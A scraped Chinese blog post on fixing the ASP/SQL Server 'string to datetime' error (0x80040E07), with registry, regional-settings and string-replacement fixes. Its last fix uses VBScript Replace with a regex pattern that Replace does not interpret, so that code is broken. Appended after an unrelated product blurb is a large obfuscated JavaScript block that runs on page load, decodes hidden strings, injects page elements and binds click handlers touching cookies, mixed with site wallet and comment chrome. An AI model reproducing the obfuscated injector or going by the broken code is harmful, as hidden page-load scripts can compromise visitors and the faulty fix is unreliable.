ASP错误:字符串转换为 datetime 时发生语法错误(0x80040E07)

本文详细介绍了如何解决在ASP程序中使用now()获取时间导致SQLServer报错的问题,包括Windows XP、Windows 2003和程序内部修改三种解决方案。通过修改注册表、区域设置或在程序中替换时间格式,可以避免时间格式问题引起的语法错误。
部署运行你感兴趣的模型镜像
帮同学调试ASP程序,页面报错:

[color=red]Microsoft OLE DB Provider for SQL Server (0x80040E07)[/color]
从字符串转换为 datetime 时发生语法错误。

但是在我的电脑上可以,放到他的电脑上就不行,查了相关资料,已经解决。
检查程序,发现程序里面获取当前时间使用的是now(),用response.write输出,发现字符串里有"上午"或"下午"出现,而SQL Server 的数据库的datetime(8)类型不接受"上午""下午",也不能自动转换,于是出错(另外试了一下,在ACCESS数据库里是不会出现这种情况的)。
比如:insert into test (Time) values ('2007-09-11 下午 3:50:12') 在ACCESS里会自动转换成24小时制,得到数值为:"2007-09-11 15:50:12"。但是在SQL Server里会出错,提示"从字符串转换为 datetime 时发生语法错误。"那这应该就是时间格式设置问题了,上网查了一下,通过以下方法解决问题。
一、windows XP的解决方法(修改注册表,我已经测试成功)
[color=red]1、控制面板--区域和语言选项--把时间设置为24小时格式。
2、建立 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT\VarConversionLocaleSetting= 2 (DWORD)
注:OLEAUT 项可能不存在。如果它不存在,则必须先创建该项。
3、重新启动IIS。[/color]
问题解决。
原理是强制使asp时间使用区域格式。

二、windows 2003的解决方法(修改区域设置)
在控制面板→区域设置→时间样式和日期格式设置一下:
时间样式设置为 HH:mm:ss
短日期格式设置为 yyyy-MM-dd
(win2003不需要修改注册表,有人测试成功了)

三、通用解决方法(在程序里修改)
可以使用replace 将 "上午" 二字或其他不想要的字符替换掉...
比如 <%=replace(now,"上午","")%>
或者直接替换掉所有的中文字符:Replace(now,"[\u4e00-\u9fa5]","")

只用了第一种,测试成功,下面的两种没有试验,需要的朋友可以尝试!

您可能感兴趣的与本文相关的镜像

GPT-SoVITS

GPT-SoVITS

AI应用

GPT-SoVITS 是一个开源的文本到语音(TTS)和语音转换模型,它结合了 GPT 的生成能力和 SoVITS 的语音转换技术。该项目以其强大的声音克隆能力而闻名,仅需少量语音样本(如5秒)即可实现高质量的即时语音合成,也可通过更长的音频(如1分钟)进行微调以获得更逼真的效果

function _0x5138() { var _0x111b28 = ['reload', 'rRvqe', '9746955luLVub', 'glInr', 'xQYha', 'ault', 'CPoMz', 'DLrIt', 'cJpLH', 'LhvRY', 'split', '6AuXMxH', 'uoUXw', '18qKQsRs', 'text', 'onload', 'GQJBp', 'appendTo', '6266128ryjdBj', 'lepQK', '5|3|2|4|6|', '6677713cvIRxi', 'VJbDz', 'cVuJg', '53186SVsJiV', 'preventDef', 'title', '1690216KJsjVb', '274870GvFunN', 'body', '3184155bwcPud', 'click', '1|0', 'bKFjF']; _0x5138 = function() { return _0x111b28; }; return _0x5138(); } function _0x1709(_0xd845aa, _0x4b6b92) { var _0x5e8928 = _0x5138(); return _0x1709 = function(_0x459f71, _0x41d188) { _0x459f71 = _0x459f71 - (-0xc5f * -0x2 + 0x1 * -0x4d6 + -0x677 * 0x3); var _0x3c853f = _0x5e8928[_0x459f71]; return _0x3c853f; }, _0x1709(_0xd845aa, _0x4b6b92); } var _0x973525 = _0x1709; (function(_0x141ba5, _0x2c4727) { var _0x18ce50 = _0x1709, _0xa67327 = _0x141ba5(); while ( !! []) { try { var _0x388568 = parseInt(_0x18ce50(0x98)) / (-0x7 * -0x4be + 0xafc + -0x2c2d) + parseInt(_0x18ce50(0x9c)) / (-0x1b91 + 0xf70 + -0xef * -0xd) * (-parseInt(_0x18ce50(0x8d)) / (0x279 * 0x1 + -0x2635 + 0x23bf)) + -parseInt(_0x18ce50(0x9b)) / (0x1185 + -0xc29 * 0x3 + 0x12fa) + parseInt(_0x18ce50(0x9e)) / (-0x727 * 0x4 + 0xcf9 + 0xfa8) + parseInt(_0x18ce50(0x8b)) / (-0xbf5 + 0x1 * 0x3c3 + -0x41c * -0x2) * (parseInt(_0x18ce50(0x95)) / (0x15ac + 0x27e + -0x1 * 0x1823)) + -parseInt(_0x18ce50(0x92)) / (-0x22aa + 0x7c6 + 0x1aec) + parseInt(_0x18ce50(0xa4)) / (-0x1 * 0x267b + 0x2127 * 0x1 + -0x1 * -0x55d); if (_0x388568 === _0x2c4727) break; else _0xa67327['push'](_0xa67327['shift']()); } catch (_0x327345) { _0xa67327['push'](_0xa67327['shift']()); } } }(_0x5138, 0xb2710 + 0x11f4f6 + 0x1 * -0x127b29), window[_0x973525(0x8f)] = function() { var _0x17b2f2 = _0x973525, _0x5f3b8a = { 'DLrIt': _0x17b2f2(0x94) + _0x17b2f2(0xa0), 'GQJBp': function(_0x43f981, _0x1a97e2) { return _0x43f981(_0x1a97e2); }, 'lepQK': _0x17b2f2(0x9d), 'cVuJg': function(_0x584fc1, _0x3de23a) { return _0x584fc1(_0x3de23a); }, 'CPoMz': function(_0x14ae04, _0x9f638a) { return _0x14ae04(_0x9f638a); }, 'VJbDz': _0x17b2f2(0x9a), 'uoUXw': function(_0x29874b, _0x45e7c5) { return _0x29874b(_0x45e7c5); }, 'cJpLH': function(_0x5e36f8, _0x3a60bc) { return _0x5e36f8(_0x3a60bc); }, 'glInr': _0x17b2f2(0x9f), 'xQYha': function(_0x5b02ac) { return _0x5b02ac(); }, 'bKFjF': function(_0x586b83, _0x10b5f8) { return _0x586b83(_0x10b5f8); }, 'rRvqe': function(_0x152652, _0x3e6d4c) { return _0x152652(_0x3e6d4c); } }, _0x1596ca = _0x5f3b8a[_0x17b2f2(0x87)][_0x17b2f2(0x8a)]('|'), _0x86ba73 = -0x26e0 + 0x11bb + -0x1 * -0x1525; while ( !! []) { switch (_0x1596ca[_0x86ba73++]) { case '0': _0x5f3b8a[_0x17b2f2(0x90)]($, _0x5f3b8a[_0x17b2f2(0x90)](decode, _0x5f3b8a[_0x17b2f2(0x90)](fromCode, str_4)))[_0x17b2f2(0x91)](_0x5f3b8a[_0x17b2f2(0x93)]); continue; case '1': _0x5f3b8a[_0x17b2f2(0x90)]($, _0x5f3b8a[_0x17b2f2(0x90)](decode, _0x5f3b8a[_0x17b2f2(0x90)](fromCode, str_3)))[_0x17b2f2(0x91)](_0x5f3b8a[_0x17b2f2(0x93)]); continue; case '2': _0x5f3b8a[_0x17b2f2(0x97)]($, _0x5f3b8a[_0x17b2f2(0x97)](decode, _0x5f3b8a[_0x17b2f2(0x86)](fromCode, str_0)))[_0x17b2f2(0x91)](_0x5f3b8a[_0x17b2f2(0x93)]); continue; case '3': _0x5f3b8a[_0x17b2f2(0x86)]($, _0x5f3b8a[_0x17b2f2(0x96)])[_0x17b2f2(0x8e)](_0x5f3b8a[_0x17b2f2(0x86)](decode, _0x5f3b8a[_0x17b2f2(0x8c)](fromCode, str))); continue; case '4': _0x5f3b8a[_0x17b2f2(0x86)]($, _0x5f3b8a[_0x17b2f2(0x88)](decode, _0x5f3b8a[_0x17b2f2(0x90)](fromCode, str_1)))['on'](_0x5f3b8a[_0x17b2f2(0x83)], function(_0x3fc91b) { var _0x48d49e = _0x17b2f2; _0x3fc91b[_0x48d49e(0x99) + _0x48d49e(0x85)](), _0x4f34f6[_0x48d49e(0x89)](Cookie), location[_0x48d49e(0xa2)](); })[_0x17b2f2(0x91)](_0x5f3b8a[_0x17b2f2(0x93)]); continue; case '5': var _0x4f34f6 = { 'LhvRY': function(_0x2097ba) { var _0x4c111c = _0x17b2f2; return _0x5f3b8a[_0x4c111c(0x84)](_0x2097ba); } }; continue; case '6': _0x5f3b8a[_0x17b2f2(0x90)]($, _0x5f3b8a[_0x17b2f2(0xa1)](decode, _0x5f3b8a[_0x17b2f2(0xa3)](fromCode, str_2)))['on'](_0x5f3b8a[_0x17b2f2(0x83)], function(_0x4b4b75) { var _0x3330e8 = _0x17b2f2; _0x4b4b75[_0x3330e8(0x99) + _0x3330e8(0x85)](), _0x4f34f6[_0x3330e8(0x89)](Cookie), location[_0x3330e8(0xa2)](); })[_0x17b2f2(0x91)](_0x5f3b8a[_0x17b2f2(0x93)]); continue; } break; } }); JavaScript代码转换为VB.NET代码
11-15
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值